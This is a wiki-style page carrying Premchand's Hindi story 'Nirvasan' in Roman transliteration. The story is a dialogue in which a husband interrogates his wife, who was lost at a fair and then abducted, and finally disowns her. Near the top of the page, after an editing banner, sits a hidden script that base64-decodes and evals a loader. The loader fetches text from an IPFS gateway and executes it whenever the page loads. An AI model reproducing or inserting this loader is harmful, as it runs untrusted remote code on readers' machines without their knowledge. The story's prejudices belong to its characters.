निर्वासन -प्रेमचंद

chitr:Icon-edit.gif

is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

parashuram- vahian-vahian, dalan mean thaharo!

maryada- kyoan, kya mujhamean kuchh chhoot lag gayi?

parashuram- pahale yah batao tum itane dinoan kahaan rahian, kisake sath rahian, kis tarah rahian aur phir yahaan kisake sath ayian? tab, tab vichar... dekhi jayagi.

maryada- kya in batoan ke poochhane ka yahi vakt hai; phir avasar n milega?

parashuram- haan, yahi bat hai. tum snan karake nadi se to mere sath hi nikali thian. mere pichhe-pichhe kuchh der tak ayian bhi; maian pichhe phir-phirakar tumhean dekhata jata tha, phir ekaek tum kahaan gayab ho gayian?

maryada- tumane dekha nahian, naga sadhuoan ka ek dal samane se a gaya. sab adami idhar-udhar dau dane lage. maian bhi dhakke mean p dakar jane kidhar chali gayi. jara bhi d kam huee to tumhean dhooandhane lagi. basoo ka nam le-lekar pukarane lagi, par tum n dikhayi diye.

parashuram- achchha tab?

maryada- tab maian ek kinare baithakar rone lagi, kuchh soojh hi n p data ki kahaan jaooan, kisase kahooan, adamiyoan se dar lagata tha. sandhyag tak vahian baithi roti rahi.

parashuram- itana tool kyoan deti ho? vahaan se phir kahaan gayian?

maryada sandhyan ko ek yuvak ne akar mujhase poochha, tumhare ghar ke log kho to nahian gaye haian? maianne kaha- haan. tab usane tumhara nam, pata thikana poochha. usane sab ek kitab par likh liya aur mujhase bola- mere sath ao, maian tumhean tumhare ghar bhej dooanga.

parashuram- vah adami kaun tha?

maryada- vahaan ki seva-samiti ka svayansevak tha.

parashuram- to tum usake sath ho lian?

maryada- aur kya karati ? vah mujhe samiti ke karyalay mean le gaya. vahaan ek shamiyane mean ek lambi dadhivala manushy baitha hua kuchh likh raha tha. vahi un sevakoan ka adhyayaksh tha. aur bhi kitane hi sevak vahaan kh de the. usane mera pata-thikana rajistar mean likhakar mujhe ek alag shamiyane mean bhej diya, jahaan aur bhi kitani khoyi huee striyaan baithi huee thian.

parashuram- tumane usi vakt adhy,ksh se kyoan n kaha ki mujhe pahuancha dijie?

maryada- maianne ek bar nahian saik doan bar kaha; lekin vah yahi kahate rahe, jab tak mela n khatm ho jay aur sab khoyi huee striyaan ekatr n ho jayan, maian bhejane ka prabandh nahian kar sakata. mere pas n itane adami haian, n itana dhan.

parashuram- dhan ki tumhean kya kami thi, koee ek sone ki chiz bech deti to kafi rupaye mil jate.

maryada- adami to nahian the.

parashuram- tumane yah kaha tha ki kharch ki kuchh chianta n kijie, maian apana gahana bechakar ada kar dooangi?

maryada- nahian, yah to maianne nahian kaha.

parashuram- tumhean us dasha mean bhi gahane itane priy the?

maryada- sab striyaan kahane lagian, ghabarayi kyoan jati ho? yahaan kis bat ka dar hai. ham sabhi jald se jald apane ghar pahuanchana chahati haian; magar kya karean? tab maian bhi chup ho rahi. parashuram- aur sab striyaan kuean mean gir p datian to tum bhi gir p datian?

maryada- janati to thi ki yah log dharm ke nate meri raksha kar rahe haian, kuchh mere naukar ya majoor nahian haian, phir agrah kis muanh se karati? yah bat bhi hai ki bahut-si striyoan ko vahaan dekhakar mujhe kuchh tasalli ho gayi.

parashuram- haan, isase badhakar taskin ki aur kya bat ho sakati thi? achchha, vahaan kai din taskin ka anand uthati rahian? mela to doosare hi din uth gaya hoga?

maryada- rat-bhar maian striyoan ke sath usi shamiyane mean rahi.

parashuram- achchha, tumane mujhe tar kyoan n dilava diya?

maryada- maianne samajha, jab yah log pahuanchane ko kahate hi haian to tar kyoan dooan?

parashuram- khair, rat ko tum vahian rahian. yuvak bar-bar bhitar ate-jate rahe hoange.

maryada keval ek bar ek sevak bhojan ke lie poochhane aya tha, jab ham saboan ne khane se inakar kar diya to vah chala gaya aur phir koee n aya. maian rat-bhar jagati hi rahi.

parashuram yah maian kabhi n manooanga ki itane yuvak vahaan the aur koee aandar n gaya hoga. samiti ke yuvak akash ke devata nahian hote. khair, vah dadhivala adhy.ksh to zaroor hi dekhabhal karane gaya hoga?

maryada- haan, vah ate the; par dvar par se poochh-poochhakar laut jate the. haan, jab ek mahila ke pet mean dard hone laga tha to do-tin bar davaean pilane aye the.

parashuram- nikali n vahi bat! maian in dhoortoan ki nas-nas pahachanata hooan. visheshakar tilak-maladhari dadhiyaloan ko maian gurughantal hi samajhata hooan. to vah mahashay kee bar davaean dene gaye? kyoan, tumhare pet mean to dard nahian hone laga tha?

maryada- tum ek sadhu par akshep kar rahe ho. vah bechare ek to mere bap ke barabar the, doosare aankhean nichi kiye rahane ke sivay kabhi kisi par sidhi nigah nahian karate the.

parashuram- haan, vahaan sab devata hi devata jama the. khair, tum rat-bhar vahaan rahian. doosare din kya hua?

maryada doosare din bhi vahian rahi. ek svayansevak ham sab striyoan ko sath lekar mukhy-mukhy pavitr sthanoan ka darshan karane gaya. dopahar ko laut kar saboan ne bhojan kiya.

parashuram to vahaan tumane sair-sapata bhi khoob kiya, koee kasht n hone paya. bhojan ke bad gana-bajana hua hoga?

maryada gana-bajana to nahian; haan, sab apana-apana dukh da roti rahian. sham tak mela uth gaya to do sevak ham logoan ko lekar steshan par aye.

parashuram magar tum to aj satavean din a rahi ho aur vah bhi akeli?

maryada steshan par ek durghatana ho gayi.

parashuram haan, yah to maian samajh hi raha tha. kya durghatana huee?

maryada jab sevak tikat lene ja raha tha, to ek adami ne akar usase kaha- yahaan gopinath ki dharmashala mean ek babooji thahare hue haian, unaki stri kho gayi hai, unaka bhala-sa nam hai, gore-gore lambe-se khoobasoorat adami haian, lakhanoo makan hai, jhabaee tile mean. tumhara huliya usane aisa thik bayan kiya ki mujhe us par vishvas a gaya. maian samane akar boli, tum baboo ji ko janate ho? vah hansakar bola, janata nahian hooan to tumhean talash kyoan karata phirata hooan. tumhara bachcha ro-rokar halakan ho raha hai. sab auratean kahane lagian, chali jao, tumhare svamiji ghabara rahe hoange. svayansevak ne usase do-char batean poochhakar mujhe usake sath kar diya. mujhe kya maloom tha ki maian kisi nar-pishach ke hathoan mean p di jati hooan. dil mean khushi thi ki ab basoo ko dekhooangi, tumhare darshan karooangi. shayad isi utsukata ne mujhe asavadhan kar diya.

parashuram- to tum us adami ke sath chal dian? vah kaun tha?

maryada- kya batalaooan kaun tha? maian to samajhati hooan, koee dalal tha?

parashuram- tumhean yah n soojhi ki usase kahatian, jakar babooji ko bhej do?

maryada- adin ate haian to budhdi bhrasht ho jati hai.

parashuram- koee a raha hai.

maryada- maian gusalakhane mean chhipi jati hooan.

parashuram- ao bhabhi, kya abhi soyi nahian, das to baj gaye hoange.

bhabhi- vasudev ko dekhane ko ji chahata tha bhaiya, kya so gaya?

parashuram- haan, vah to abhi rote-rote so gaya hai.

bhabhi- kuchh maryada ka pata mila? ab pata mile to bhi tumhare kis kam ki. ghar se nikali huee striyaan than se chhooti huee gho di hai jisaka kuchh bharosa nahian.

parashuram- kahaan se kahaan maian use lekar nahane gaya.

bhabhi- honahar hai bhaiya, honahar! achchha to maian jati hooan.

maryada- (bahar akar) honahar nahian hai, tumhari chal hai. vasudev ko pyar karane ke bahane tum is ghar par adhikar jamana chahati ho.

parashuram- bako mat! vah dalal tumhean kahaan le gaya?

maryada- svami, yah n poochhie, mujhe kahate lajja ati hai.

parashuram- yahaan ate to aur bhi lajja ani chahie thi.

maryada- maian paramatma ko sakshi deti hooan, ki maianne use apana aang bhi sparsh nahian karane diya.

parashuram- usaka huliya bayan kar sakati ho?

maryada- saanvala-sa chhote dil ka adami tha. nicha kurata pahane hue tha.

parashuram- gale mean tabijean bhi thian?

maryada- haan, thian to.

parashuram- vah dharmashale ka mehatar tha. maianne usase tumhare gum ho jane ki charcha ki thi. us dusht ne usaka vah svaang racha.

maryada- mujhe to vah koee brahman maloom hota tha.

parashuram- nahian mehatar tha. vah tumhean apane ghar le gaya?

maryada- haan, usane mujhe taange par baithaya aur ek tang gali mean, ek chhote-se makan ke aandar le jakar bola, tum yahian baitho, tumhare babooji yahian ayeange. ab mujhe vidit hua ki mujhe dhokha diya gaya. rone lagi. vah adami tho di der ke bad chala gaya aur ek budhiya akar mujhe bhaanti-bhaanti ke pralobhan dene lagi. sari rat rokar kati. doosare din donoan phir mujhe samajhane lage ki ro-rokar jan de dogi, magar yahaan koee tumhari madad ko n ayega. tumhara ek ghar chhoot gaya. ham tumhean usase kahian achchha ghar deange jahaan tum sone ke kaur khaogi aur sone se lad jaogi. jab maianne dekha ki yahaan se kisi tarah nahian nikal sakati to maianne kaushal karane ka nishchay kiya.

parashuram- khair,sun chuka. maian tumhara hi kahana man leta hooan ki tumane apane satitv ki raksha ki, par mera hriday tumase ghrina karata hai, tum mere lie phir vah nahian ho sakati jo pahale thian. is ghar mean tumhare lie sthan nahian hai.

maryada- svamiji, yah anyay n kijie, maian apaki vahi stri hooan jo pahale thi. sochie, meri kya dasha hogi?

parashuram- maian yah sab soch chuka aur nishchay kar chuka. aj chh: din se yahi soch raha hooan. tum janati ho ki mujhe samaj ka bhay nahian hai. chhoot-vichar ko maianne pahale hi tilaanjali de di, devi-devataoan ko pahale hi vida kar chuka; par jis stri par doosari nigahean p d chukian, jo ek saptah tak n-jane kahaan aur kis dasha mean rahi, use aangikar karana mere lie asambhav hai. agar yah anyay hai to eeshvar ki or se hai, mera dosh nahian.

maryada- meri vivashata par apako jara bhi daya nahian ati?

parashuram- jahaan ghrina hai vahaan daya kahaan? maian ab bhi tumhara bharan-poshan karane ko taiyar hooan. jab tak jiooanga, tumhean ann-vastr ka kasht n hoga. par tum meri stri nahian ho sakatian. maryada- maian apane putr ka muanh n dekhooan agar kisi ne mujhe sparsh bhi kiya ho.

parashuram- tumhara kisi any purush ke sath kshan-bhar bhi ekaant mean rahana tumhare pativrat ko nasht karane ke lie bahut hai. yah vichitr bandhan hai, rahe to janm-janmaantar tak rahe; toote to kshan-bhar mean toot jay. tumhian batao, kisi musalaman ne jabaradasti mujhe apana uchchhisht bhojan khila diya hota to tum mujhe svikar karatian?

maryada- vah...vah...to doosari bat hai.

parashuram- nahian, ek hi bat hai. jahaan bhavoan ka sanbandh hai, vahaan tark aur nyay se kam nahian chalata. yahaan tak ki agar koee kah de ki tumhare pani ko mehatar ne chhoo liya hai tab bhi use grahan karane se tumhean ghrina ayegi. apane hi dil se socho ki tumhare sath nyay kar raha hooan ya anyay?

maryada- maian tumhari chhuee huee chizean n khati, tumase prithakh rahati, par tumhean ghar se to n nikal sakati thi. mujhe isilie n dutkar rahe ho ki tum ghar ke svami ho aur samajhate ho ki maian isaka palan karata hooan.

parashuram- yah bat nahian hai. maian itana nich nahian hooan.

maryada- to tumhara yah aantim nishchay hai?

parashuram- haan, aantim.

maryada- janate ho isaka parinam kya hoga?

parashuram- janata bhi hooan aur nahian bhi janata.

maryada- mujhe vasudev ko le jane doge?

parashuram- vasudev mera putr hai.

maryada- use ek bar pyar kar lene doge?

parashuram- apani ichchha se nahian, tumhari ichchha ho to door se dekh sakati ho.

maryada to jane do, n dekhooangi. samajh looangi ki vidhava bhi hooan aur baanjh bhi. chalo man! ab is ghar mean tumhara nibah nahian. chalo jahaan bhagy le jay!